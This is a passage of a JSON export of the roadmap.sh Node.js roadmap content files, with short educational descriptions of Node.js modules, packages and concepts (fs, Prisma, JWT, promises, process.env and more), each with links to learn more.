    "path": "src/data/roadmaps/nodejs/content/figlet-package@PHLdJylzNZDJBGi8FFsfO.md",
    "content": "# Figlet\n\nThis package aims to fully implement the FIGfont spec in JavaScript, which represents the graphical arrangement of characters representing larger characters. It works in the browser and with Node.js.\n\nVisit the following resources to learn more:\n\n- [@opensource@figlet](https://github.com/patorjk/figlet.js)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/fs-extra@zDmWGRrgwq3Gjfkyk6crK.md",
    "content": "# fs-extra\n\nfs-extra adds file system methods that aren't included in the native fs module and adds promise support to the fs methods. It also uses graceful-fs to prevent EMFILE errors. It should be a drop in replacement for fs.\n\nVisit the following resources to learn more:\n\n- [@official@fs-extra package](https://www.npmjs.com/package/fs-extra)\n- [@article@fs-extra vs fs](https://ar.al/2021/03/07/fs-extra-to-fs/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/fs-module@b1r1X3XCoPSayQjDBcy54.md",
    "content": "# fs module\n\nFile System or `fs` module is a built in module in Node that enables interacting with the file system using JavaScript. All file system operations have synchronous, callback, and promise-based forms, and are accessible using both CommonJS syntax and ES6 Modules.\n\nVisit the following resources to learn more:\n\n- [@official@fs module](https://nodejs.org/api/fs.html)\n- [@video@Using fs](https://www.youtube.com/watch?v=ZySsdm576wE)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/garbage-collection@SJ01N7vMZkNiIuMYQhdpj.md",
    "content": "# Garbage Collection\n\nMemory management in JavaScript is performed automatically and invisibly to us. We create primitives, objects, functions… All that takes memory. The main concept of memory management in JavaScript is reachability.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript Garbage Collection](https://javascript.info/garbage-collection)\n- [@article@Memory Management in JavaScript](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_Management)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/glob@CWH0ZsxJ8beLvwMYJyH52.md",
    "content": "# Glob\n\nThe glob pattern is most commonly used to specify filenames, called wildcard characters, and strings, called wildcard matching.\n\nVisit the following resources to learn more:\n\n- [@official@NPM Glob](https://www.npmjs.com/package/glob)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/global-installation@l24OMkPAEDnEDAVAMrMuG.md",
    "content": "# Global Install vs Local Install\n\nNodeJS and NPM allow two methods of installing dependencies/packages: Local and Global. This is mainly used when adding a package or dependency as part of a specific project you're working on. The package would be installed (with its dependencies) in `node_modules` folder **under your project**. In addition, in `package.json` file there will be a new line added for the installed dependency under the label `dependencies`. At this point - you can start using the package in your NodeJS code by importing the package. Unlike the local install, you can install packages and dependencies **globally**. This would install it in a system path, and these packages would be available to any program which runs on **this specific** computer. This method is often used for installing command line tools (for example, even `npm` program is a Globally installed npm package).\n\nVisit the following resources to learn more:\n\n- [@official@Downloading and installing packages locally](https://docs.npmjs.com/downloading-and-installing-packages-locally)\n- [@official@Downloading and installing packages globally](https://docs.npmjs.com/downloading-and-installing-packages-globally)\n- [@official@NPM Install Docs](https://docs.npmjs.com/cli/commands/npm-install)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/global-keyword@PEGHvFT2Eg-1OyfhxYu22.md",
    "content": "# global keyword\n\nIn browsers, the top-level scope is the global scope, and its global object is called the `window` object. Within the browser, `var something` will define a new global variable inside the `window` object. In Node.js, this is different. The top-level scope is **not** the global scope; `var something` inside a Node.js module will be local to that module.\n\nVisit the following resources to learn more:\n\n- [@official@global Keyword in Node.js](https://nodejs.org/api/globals.html#global)\n- [@article@What is the 'global' object in NodeJS](https://stackoverflow.com/questions/43627622/)\n- [@video@What is Global Object?](https://www.youtube.com/watch?v=jn8PZNBmKm0)\n- [@video@Global Object in Node](https://www.youtube.com/watch?v=PY-AycMkEAg)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/globby@HYTw74rrd7kkOemCxfT9I.md",
    "content": "# Globby\n\n_User-friendly glob matching_\n\nBased on fast-glob but adds a bunch of useful features.\n\nVisit the following resources to learn more:\n\n- [@official@NPM Globby](https://www.npmjs.com/package/globby)\n- [@opensource@GitHub Globby](https://github.com/sindresorhus/globby)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/got-package@6stiDKubT6XVAOGiJ6wsx.md",
    "content": "# Got\n\nGot is a lighter, human-friendly, and powerful HTTP request library explicitly designed to work with Node.js. It supports pagination, RFC compliant caching, makes an API request again if it fails, supports cookies out of the box, etc.\n\nVisit the following resources to learn more:\n\n- [@official@Got Documentation](https://www.npmjs.com/package/got)\n- [@article@How to consume APIs using GOT in Node.js?](https://rapidapi.com/guides/call-apis-got)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/handling-async-errors@3MpxV23lNpuKg0--e_9m7.md",
    "content": "# Async errors\n\nErrors must always be handled. If you are using synchronous programming you could use a try catch. But this does not work if you work asynchronous! Async errors will only be handled inside the callback function!\n\nVisit the following resources to learn more:\n\n- [@article@Async Errors](https://www.mariokandut.com/handling-errors-in-asynchronous-functions-node-js/)\n- [@article@The best way to handle errors in asynchronous javascript](https://dev.to/m__mdy__m/the-best-way-to-handle-errors-in-asynchronous-javascript-16bb)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/history-of-nodejs@Vrcv5px-3fqmyJnQv3WBK.md",
    "content": "# History of Node.js\n\nNode.js was written initially by Ryan Dahl in 2009, about thirteen years after the introduction of the first server-side JavaScript environment, Netscape's LiveWire Pro Web. The initial release supported only Linux and macOS X. Its development and maintenance were led by Dahl and later sponsored by Joyent.\n\nVisit the following resources to learn more:\n\n- [@article@Rising Stack - History of Node.js on a Timeline](https://blog.risingstack.com/history-of-node-js/)\n- [@article@SAP Press - How Did Node.js Come About?](https://blog.sap-press.com/how-did-node.js-come-about)\n- [@video@Node.js: The Documentary | An Origin Story](https://youtu.be/LB8KwiiUGy0)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/hono@Xa-lA1wbZ9JZ_XpXfhhw5.md",
    "content": "# Hono\n\nHono is a lightweight, simple, and fast web framework for Cloudflare Workers, Deno, Bun, and other applications. It is a modern web application that is both fast and flexible. It offers inbuilt support for TypeScript, and easy development in a local environment. Using Hono, It is easy to create publishable web applications with Deno, Bun, and Cloudflare Workers.\n\nVisit the following resources to learn more:\n\n- [@official@Hono Documentation](https://hono.dev/docs/)\n- [@article@Build a web application with Hono](https://blog.logrocket.com/build-web-application-hono/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/http-module@Sjc1YDtbzXyLQH711_3nj.md",
    "content": "# Making API calls with HTTP\n\nYou can make API calls using the `http` module in Node.js as well. Here are the two methods that you can use:\n\n*   `http.get()` - Make http GET requests.\n*   `http.request()` - Similar to `http.get()` but enables sending other types of http requests (GET requests inclusive).\n\nVisit the following resources to learn more:\n\n- [@official@Node.js http.get() documentation](https://nodejs.org/docs/latest-v16.x/api/http.html#httpgeturl-options-callback)\n- [@official@Node.js http.request() documentation](https://nodejs.org/docs/latest-v16.x/api/http.html#httprequesturl-options-callback)\n- [@article@How To Create an HTTP Client with Core HTTP in Node.js](https://www.digitalocean.com/community/tutorials/how-to-create-an-http-client-with-core-http-in-node-js)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/inquirer-package@WFJJtIqVoBIhK10XY-d7l.md",
    "content": "# Inquirer\n\nInquirer.js is a collection of common interactive command line interfaces for taking inputs from user. It is promise based and supports chaining series of prompt questions together, receiving text input, checkboxes, lists of choices and much more.\n\nYou can use it to empower your terminal applications that need user input or to build your own CLI.\n\nVisit the following resources to learn more:\n\n- [@opensource@Inquirer](https://github.com/SBoudrias/Inquirer.js#readme)\n- [@article@How To Create Interactive Command-line Prompts with Inquirer.js](https://www.digitalocean.com/community/tutorials/nodejs-interactive-command-line-prompts)\n- [@video@How to make a CLI in Node.js with Inquirer](https://www.youtube.com/watch?v=0xjfkl9nODQ)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/introduction-to-nodejs@KDd40JOAvZ8O1mfhTYB3K.md",
    "content": "# Node.js Introduction\n\nNode.js is an open source, cross-platform runtime environment and library that is used for running web applications outside the client’s browser.\n\nIt is used for server-side programming, and primarily deployed for non-blocking, event-driven servers, such as traditional web sites and back-end API services, but was originally designed with real-time, push-based architectures in mind. Every browser has its own version of a JS engine, and node.js is built on Google Chrome’s V8 JavaScript engine.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js](https://nodejs.org/en/)\n- [@official@Node.js Documentation](https://nodejs.org/en/docs/)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/javascript-errors@Wg7KSpAPxjeFMxC6PBnHO.md",
    "content": "# Javascript Errors\n\nJavaScript Errors are used by JavaScript to inform developers about various issue in the script being executed. These issues can be syntax error where the developer/programmer has used the wrong syntax, it can be due to some wrong user input or some other problem.\n\nJavaScript has six types of errors that may occur during the execution of the script:\n\n*   EvalError\n*   RangeError\n*   ReferenceError\n*   SyntaxError\n*   TypeError\n*   URIError\n\nVisit the following resources to learn more:\n\n- [@article@Error Types in JavaScript](https://blog.bitsrc.io/types-of-native-errors-in-javascript-you-must-know-b8238d40e492)\n- [@article@JavaScript error reference - MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/jest@5xrbKv2stKPJRv7Vzf9nM.md",
    "content": "# Jest\n\nJest is a delightful JavaScript Testing Framework with a focus on simplicity. It works with projects using: Babel, TypeScript, Node, React, Angular, Vue and more!\n\nVisit the following resources to learn more:\n\n- [@official@Jest](https://jestjs.io)\n- [@official@Jest Documentation](https://jestjs.io/docs/getting-started)\n- [@feed@Explore top posts about Jest](https://app.daily.dev/tags/jest?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/jsonwebtoken@7u2WMxjLx3mMtn0cha4M7.md",
    "content": "# JSON Web Token\n\nJWT, or JSON-Web-Token, is an open standard for sharing security information between two parties — a client and a server. Each JWT contains encoded JSON objects, including a set of claims. JWTs are signed using a cryptographic algorithm to ensure that the claims cannot be altered after the token is issued.\n\nVisit the following resources to learn more:\n\n- [@official@JSON Package Documentation](https://www.npmjs.com/package/jsonwebtoken)\n- [@article@What is JWT](https://www.akana.com/blog/what-is-jwt)\n- [@video@JWT Implementation](https://www.youtube.com/watch?v=mbsmsi7l3r4)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/keep-app-running@af7n-J7VvbdpZh9lwA773.md",
    "content": "# Keep your app running in Production\n\nPM2 lets you run your nodejs scripts forever. In the event that your application crashes, PM2 will also restart it for you.\n\nVisit the following resources to learn more:\n\n- [@article@Keep a Node Application Constantly Running](https://devtut.github.io/nodejs/keep-a-node-application-constantly-running.html#use-pm2-as-a-process-manager)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/knex@HDDnt79_PCB5JU-KnHKUh.md",
    "content": "# Knex\n\nKnex.js is a \"batteries included\" SQL query builder for PostgreSQL, CockroachDB, MSSQL, MySQL, MariaDB, SQLite3, Better-SQLite3, Oracle, and Amazon Redshift designed to be flexible, portable, and fun to use.\n\nVisit the following resources to learn more:\n\n- [@official@Knex.js](https://knexjs.org)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/ky@-_2letLUta5Ymc5eEOKhn.md",
    "content": "# Ky\n\nKy is a tiny and elegant HTTP client based on the browser Fetch API. Ky targets modern browsers and Deno.For older browsers, you will need to transpile and use a fetch polyfill.For Node.js, check out Got.. 1 KB (minified & gzipped), one file, and no dependencies.\n\nVisit the following resources to learn more:\n\n- [@official@Ky Package](https://www.npmjs.com/package/ky/v/0.9.0)\n- [@opensource@Ky Docs](https://github.com/sindresorhus/ky)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/local-installation@oYeux7PbveYaVwXRzAg5x.md",
    "content": "# Local Installation\n\nLocally installed packages are available only to the project where the packages are installed, while the globally installed packages can be used any where without installing them into a project. Another use case of the global packages is when using CLI tools.\n\nVisit the following resources to learn more:\n\n- [@official@Downloading and installing packages locally](https://docs.npmjs.com/downloading-and-installing-packages-locally)\n- [@official@Downloading and installing packages globally](https://docs.npmjs.com/downloading-and-installing-packages-globally)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/logging@b7ZAEqo0ZU6TNf18Bo0mI.md",
    "content": "# Node.js Logging\n\n**Logging** is an essential part of understanding the complete application life cycle of the `Node.js` application. We can much more easily and quickly fix errors by looking at logs throughout the development process, from creating to debugging to designing new features. **Error**, **warn**, **info**, and **debug** are the four basic logging levels in `Node.js`. Logging involves persistently collecting information about an application's runtime behaviour.\n\nVisit the following resources to learn more:\n\n- [@article@Node.js Logging](https://stackify.com/node-js-logging/)\n- [@article@Logging best practices](https://blog.appsignal.com/2021/09/01/best-practices-for-logging-in-nodejs.html)\n- [@article@Logging](https://stackify.com/node-js-logging/)\n- [@feed@Explore top posts about Logging](https://app.daily.dev/tags/logging?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/marko@f2DyjBIglAZ6NoHaRnlzt.md",
    "content": "# Marko\n\nMarko is a fast and lightweight HTML-based templating engine that compiles templates to CommonJS modules and supports streaming, async rendering, and custom tags. It is HTML re-imagined as a language for building dynamic and reactive user interfaces.\n\nVisit the following resources to learn more:\n\n- [@official@Marko Documentation](https://markojs.com/docs/guides-overview/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/memory-leaks@oU9I7KBZoTSXXFmYscEIq.md",
    "content": "# Memory Leaks\n\nMemory leaks are caused when your Node.js app’s CPU and memory usage increases over time for no apparent reason. In simple terms, a Node.js memory leak is an orphan block of memory on the Heap that is no longer used by your app because it has not been released by the garbage collector. It’s a useless block of memory. These blocks can grow over time and lead to your app crashing because it runs out of memory.\n\nVisit the following resources to learn more:\n\n- [@article@Memory Leaks in Node.js](https://sematext.com/blog/nodejs-memory-leaks/)\n- [@article@Memory Leaks Causes](https://sematext.com/blog/nodejs-memory-leaks/#what-causes-them-common-node-js-memory-leaks)\n- [@article@Memory Leaks Detectors](https://sematext.com/blog/nodejs-memory-leaks/#node-js-memory-leak-detectors)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/modules@mbGFT6S7mL3bHHEZv0_s2.md",
    "content": "# Node.js Modules\n\nWe split our code into different files to maintain, organize and reuse code whenever possible. A module system allows us to split and include code and import code written by other developers whenever required. In simple terms, a module is nothing but a JavaScript file. Node.js has many built-in modules that are part of the platform and comes with Node.js installation, for example, HTTP, fs, path, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Modules: CommonJS modules](https://nodejs.org/api/modules.html#modules-commonjs-modules)\n- [@article@CommonJS vs. ES Modules in Node.js](https://blog.logrocket.com/commonjs-vs-es-modules-node-js/)\n- [@video@Modules in Node.js](https://www.youtube.com/watch?v=9Amxzvq5LY8&)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/mongoose@NDf-o-WECK02mVnZ8IFxy.md",
    "content": "# Mongoose\n\nMongoose is an Object Data Modeling (ODM) library for MongoDB and Node.js. Mongoose provides a straight-forward, schema-based solution to model your application data. It includes built-in type casting, validation, query building, business logic hooks and more, out of the box.\n\nVisit the following resources to learn more:\n\n- [@official@Mongoose](https://mongoosejs.com)\n- [@official@Mongoose Documentation](https://mongoosejs.com/docs/guide.html)\n- [@article@Getting Started with MongoDB and Mongoose](https://www.mongodb.com/developer/languages/javascript/getting-started-with-mongodb-and-mongoose/)\n- [@feed@Explore top posts about Mongoose](https://app.daily.dev/tags/mongoose?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/monitor-changes-dev@swp4wBgA7z-sd64VDkMrw.md",
    "content": "# Keep App Running\n\nIn Node.js, you need to restart the process to make changes take effect. This adds an extra step to your workflow. You can eliminate this extra step by using `nodemon` to restart the process automatically.\n\nSince Node.js 18.11.0, you can run Node with the `--watch` flag to reload your app every time a file is changed. So you don't need to use `nodemon` anymore.\n\nVisit the following resources to learn more:"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/morgan@CTHFGgtXFpke4aPhh5vRY.md",
    "content": "# Morgan\n\nMorgan is a NodeJS and express.js middleware to log the HTTP request and error, simplifying the debugging process. It provides flexibility in defining the format of log messages and helps override the output destination for your logs.\n\nVisit the following resources to learn more:\n\n- [@official@morgan package](https://www.npmjs.com/package/morgan)\n- [@article@How to Use Morgan | DigitalOcean](https://www.digitalocean.com/community/tutorials/nodejs-getting-started-morgan)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/native-drivers@5WqLm53CHDT5uBoMH-iPl.md",
    "content": "# Native Drivers\n\nAnother way to connect to different databases in Node.js is to use the official native drivers provided by the database.\n\nVisit the following resources to learn more:\n\n- [@official@MongoDB Drivers](https://www.mongodb.com/docs/drivers/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/native-drivers@KpC-QYKalUp7VUvnMKBoW.md",
    "content": "# Native drivers\n\nAnother way to connect to different databases in Node.js is to use the official native drivers provided by the database."
  },
  {
    "path": "src/data/roadmaps/nodejs/content/nestjs@tGD8XLHnfspfv8CbguGwV.md",
    "content": "# NestJS\n\nNestJS is a progressive Node.js framework for creating efficient and scalable server-side applications.\n\nVisit the following resources to learn more:\n\n- [@official@NestJS](https://nestjs.com)\n- [@official@NestJS Documentations](https://docs.nestjs.com)\n- [@video@Beginner NestJS Tutorial](https://www.youtube.com/watch?v=GHTA143_b-s)\n- [@feed@Explore top posts about NestJS](https://app.daily.dev/tags/nestjs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/node---inspect@DcmGcVlEHL4IV7yPMDpVa.md",
    "content": "# Node Inspect\n\nNode.js provides a built-in DevTools-based debugger to allow debugging Node.js applications.\n\nVisit the following resources to learn more:\n\n- [@article@Debugging Node.js with Chrome DevTools](https://medium.com/@paul_irish/debugging-node-js-nightlies-with-chrome-devtools-7c4a1b95ae27)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/nodejs-vs-browser@ebVb0anYmbD1Y9ZTFXKFp.md",
    "content": "# Nodejs vs Browser\n\nBoth the browser and Node.js use JavaScript as their programming language. Building apps that run in the browser is entirely different than building a Node.js application. Even though it's always JavaScript, some key differences make the experience radically different.\n\nVisit the following resources to learn more:\n\n- [@official@Differences between Node.js and the Browser](https://nodejs.org/en/learn/getting-started/differences-between-nodejs-and-the-browser/)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/nodemon@2Ym2jMvov0lZ79aJFaw29.md",
    "content": "# Nodemon\n\nIn Node.js, you need to restart the process to make changes take effect. This adds an extra step to your workflow. You can eliminate this extra step by using nodemon or PM2 to restart the process automatically.\n\n`nodemon` is a command-line interface (CLI) utility developed by rem that wraps your Node app, watches the file system, and automatically restarts the process.\n\nVisit the following resources to learn more:\n\n- [@official@Nodemon](https://nodemon.io/)\n- [@article@PM2](https://pm2.keymetrics.io/docs/usage/quick-start/)\n- [@article@How To Restart Your Node.js Apps Automatically with nodemon](https://www.digitalocean.com/community/tutorials/workflow-nodemon)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/nodetest@oSLpy31XEcA2nRq9ks_LJ.md",
    "content": "# node:test\n\n`node:test` is a built-in module in Node.js that provides a simple, asynchronous test runner. It's designed to make writing tests as straightforward as writing any other code.\n\nKey Features\n\n*   Simplicity: Easy to use and understand.\n*   Asynchronous Support: Handles asynchronous code gracefully.\n*   Subtests: Allows for organizing tests into hierarchical structures.\n*   Hooks: Provides beforeEach and afterEach hooks for setup and teardown.\n\nVisit the following resources to learn more:\n\n- [@official@Test Runner API Docs](https://nodejs.org/api/test.html)\n- [@official@Node.js Test Runner](https://nodejs.org/en/learn/test-runner/using-test-runner)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/npm-workspaces@WvxCGVKLvTUVEHeOcUQPg.md",
    "content": "# npm workspaces\n\nWorkspace is a generic term that refers to the set of npm CLI features that support managing multiple packages from your local file system from within a singular top-level root package.\n\nVisit the following resources to learn more:\n\n- [@official@npm workspaces](https://docs.npmjs.com/cli/using-npm/workspaces)\n- [@article@Getting Started with Npm Workspaces](https://ruanmartinelli.com/blog/npm-7-workspaces-1/)\n- [@feed@Explore top posts about NPM](https://app.daily.dev/tags/npm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/npm@jQJ9aOKtg-O-GhWk5OgCK.md",
    "content": "# npm\n\nnpm is the standard package manager for Node.js.\n\nIt is two things: first and foremost, it is an online repository for the publishing of open-source Node.js projects; second, it is a command-line utility for interacting with said repository that aids in package installation, version management, and dependency management. A plethora of Node.js libraries and applications are published on npm, and many more are added every day\n\nVisit the following resources to learn more:\n\n- [@official@NPM Documentation](https://docs.npmjs.com/)\n- [@official@What is npm?](https://nodejs.org/en/learn/getting-started/an-introduction-to-the-npm-package-manager)\n- [@official@An introduction to the npm package manager](https://nodejs.org/en/learn/getting-started/an-introduction-to-the-npm-package-manager)\n- [@video@NPM Crash Course](https://www.youtube.com/watch?v=jHDhaSSKmB0)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/npx@YdpJ-DUo8Q5ATRmF4s4YS.md",
    "content": "# npx\n\nnpx is a very powerful command that's been available in npm starting version 5.2, released in July 2017. If you don't want to install npm, you can install npx as a standalone package. npx lets you run code built with Node.js and published through the npm registry, without needing to install the package itself. This is particularly useful for trying out new tools, running one-time commands, or using packages in shared environments where global installations are undesirable. npx takes care of downloading the package on-the-fly, running the desired command, and then cleaning up the temporary installation. This keeps your project's dependencies lean and avoids version conflicts.\n\nVisit the following resources to learn more:\n\n- [@official@npx](https://docs.npmjs.com/cli/commands/npx/)\n- [@article@Introduction to the npx Node.js Package Runner](https://medium.com/@maybekatz/introducing-npx-an-npm-package-runner-55f7d4bd282b)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/passportjs@mIyv6S9a5dCHkk-JhhjKV.md",
    "content": "# Passport js\n\nPassport.js is authentication middleware for Node.js. It makes implementing authentication in express apps really easy and fast. It is extremely flexible and modular. It uses \"strategies\" to support authentication using a username and password, Facebook, Twitter, and a lot of other sites.\n\nVisit the following resources to learn more:\n\n- [@official@PassportJS](https://www.passportjs.org/)\n- [@official@PassportJS Documentation](https://www.passportjs.org/docs/)\n- [@video@Implementation of OAuth using passportjs](https://www.youtube.com/watch?v=sakQbeRjgwg&list=PL4cUxeGkcC9jdm7QX143aMLAqyM-jTZ2x)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/path-module@Blzb-fdQZMu6Xq5JDJW0_.md",
    "content": "# path module\n\nThe `path` module provides utilities for working with file and directory paths. It's built-in to Node.js core and can simply be used by requiring it.\n\nVisit the following resources to learn more:\n\n- [@official@Path Documentation](https://nodejs.org/api/path.html)\n- [@official@Learn Node.js File Paths](https://nodejs.org/en/learn/manipulating-files/nodejs-file-paths)\n- [@video@Path Module in Node.js](https://youtu.be/j95Lwxvi9JY)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/playwright@Ix-g9pgJjEI04bSfROvlq.md",
    "content": "# Playwright\n\nPlaywright is an open-source automation library developed by Microsoft for testing and automating web applications. 1 It offers a unified API to control Chromium, Firefox, and WebKit browsers, making it a versatile choice for cross-browser testing.\n\nPlaywright provides a high-level API to interact with web pages. You can write scripts to simulate user actions, such as clicking buttons, filling forms, and navigating through different pages. Playwright handles the underlying browser interactions, making it easy to write and maintain tests.\n\nVisit the following resources to learn more:\n\n- [@official@Playwright](https://playwright.dev/)\n- [@official@Playwright Docs](https://playwright.dev/docs/getting-started-vscode)\n- [@article@Getting Started with Playwright](https://learn.microsoft.com/en-us/shows/getting-started-with-end-to-end-testing-with-playwright/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/pm2@7WAuMMyelUbgwEHtnMmJv.md",
    "content": "# Pm2\n\nPM2 is a production process manager for Node.js applications with a built-in load balancer. It allows you to keep applications alive forever, to reload them without downtime and to facilitate common system admin tasks.\n\nVisit the following resources to learn more:\n\n- [@official@Pm2](https://pm2.keymetrics.io/)\n- [@official@Pm2 Documentation](https://pm2.keymetrics.io/docs/usage/quick-start/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/prisma@3Qxtf8n6gJYdnRsuqa52Q.md",
    "content": "# Prisma\n\nPrisma provides an open source next-generation ORM in the TypeScript ecosystem. It offers a dedicated API for relation filters. It provides an abstraction layer that makes you more productive compared to writing SQL. Prisma currently supports `PostgreSQL`, `MySQL`, `SQL Server`, `SQLite`, `MongoDB` and `CockroachDB`.\n\nVisit the following resources to learn more:\n\n- [@official@Prisma](https://www.prisma.io/)\n- [@video@Prisma & MongoDB Youtube Tutorial](https://www.youtube.com/watch?v=-7r4whMKt1s)\n- [@feed@Explore top posts about Prisma](https://app.daily.dev/tags/prisma?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/prisma@O7Cy2g_GPxKU6vPfEmNyi.md",
    "content": "# Prisma\n\nPrisma is an ORM that helps app developers build faster and make fewer errors. Combined with its Data Platform developers gain reliability and visibility when working with databases.\n\nVisit the following resources to learn more:\n\n- [@official@Prisma](https://www.prisma.io/)\n- [@official@Prisma Documentation](https://www.prisma.io/docs/)\n- [@feed@Explore top posts about Prisma](https://app.daily.dev/tags/prisma?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/processargv@lT2DDRtbFfEjb_cmsQx8i.md",
    "content": "# process.argv\n\n`process.argv` is an array of parameters that are sent when you run a Node.js file or Node.js process.\n\nVisit the following resources to learn more:\n\n- [@official@process.argv](https://nodejs.org/docs/latest/api/process.html#processargv)\n- [@video@Command Line Arguments - Cave of Programming](https://youtu.be/nr7i2HOAjeE)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/processcwd@QT2QE2FLkyUDpwMKYkFQL.md",
    "content": "# process.cwd()\n\nThe `process.cwd()` method returns the current working directory of the Node.js process.\n\nVisit the following resources to learn more:\n\n- [@official@process.cwd()](https://nodejs.org/api/process.html#processcwd)\n- [@article@Whats the difference between process.cwd() vs __dirname?](https://stackoverflow.com/questions/9874382/whats-the-difference-between-process-cwd-vs-dirname)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/processenv@wthXp2YGg3eTMbxsek77C.md",
    "content": "# process.env\n\nIn Node. js, process. env is a global variable that is injected during runtime. It is a view of the state of the system environment variables. When we set an environment variable, it is loaded into process.env during runtime and can later be accessed.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js Learn Environment Variables](https://nodejs.org/en/learn/command-line/how-to-read-environment-variables-from-nodejs)\n- [@article@Process.env Node](https://www.knowledgehut.com/blog/web-development/node-environment-variables)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/processnexttick@ATu9-29yJWcDOik5FTOgf.md",
    "content": "# process.nextTick()\n\nEvery time the event loop takes a full trip, we call it a tick. When we pass a function to `process.nextTick()`, we instruct the engine to invoke this function at the end of the current operation before the next event loop tick starts.\n\nVisit the following resources to learn more:\n\n- [@official@Understanding Process.NextTick()](https://nodejs.org/en/learn/asynchronous-work/understanding-processnexttick)\n- [@official@The Node.js process.nextTick()](https://nodejs.org/en/docs/guides/event-loop-timers-and-nexttick/)\n- [@video@The process.nextTick Function](https://www.youtube.com/watch?v=-niA5XOlCWI)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/processstdin@betuntelnEMSHdatO6VPl.md",
    "content": "# process.stdin\n\n`process.stdin` is a stream in Node.js that represents the standard input, typically the keyboard. It allows your Node.js programs to receive text input from the command line. The `readline` module provides a convenient interface for reading input from `process.stdin` line by line, making it easier to handle user input in interactive command-line applications.\n\nVisit the following resources to learn more:\n\n- [@official@process.stdin](https://nodejs.org/api/process.html#processstdin)\n- [@official@Accept input from the command line in Node.js](https://nodejs.org/en/learn/command-line/accept-input-from-the-command-line-in-nodejs#accept-input-from-the-command-line-in-nodejs)\n- [@article@Node.js Process stdin & stdout](https://nodecli.com/node-stdin-stdout)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/promises@QcOqhuKWOUUUBSiu5Oelv.md",
    "content": "# Promises\n\nA promise is commonly defined as a proxy for a value that will eventually become available.\n\nAsynchronous functions use promise behind the scenes, so understanding how promises work is fundamental to understanding how \"async\" and \"await\" works.\n\nOnce a promise has been called, it will start in a pending state. This means that the calling function continues executing, while the promise is pending until it resolves, giving the calling function whatever data was being requested.\n\nCreating a Promise:\n\nThe Promise API exposes a Promise constructor, which you initialize using new Promise().\n\nUsing resolve() and reject(), we can communicate back to the caller what the resulting Promise state was, and what to do with it.\n\nVisit the following resources to learn more:\n\n- [@official@Promises](https://www.promisejs.org/)\n- [@article@Promise Methods](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise)\n- [@video@Asynchronous JavaScript - Promises](https://www.youtube.com/watch?v=a_8nrslImo4/)"
  },
  {
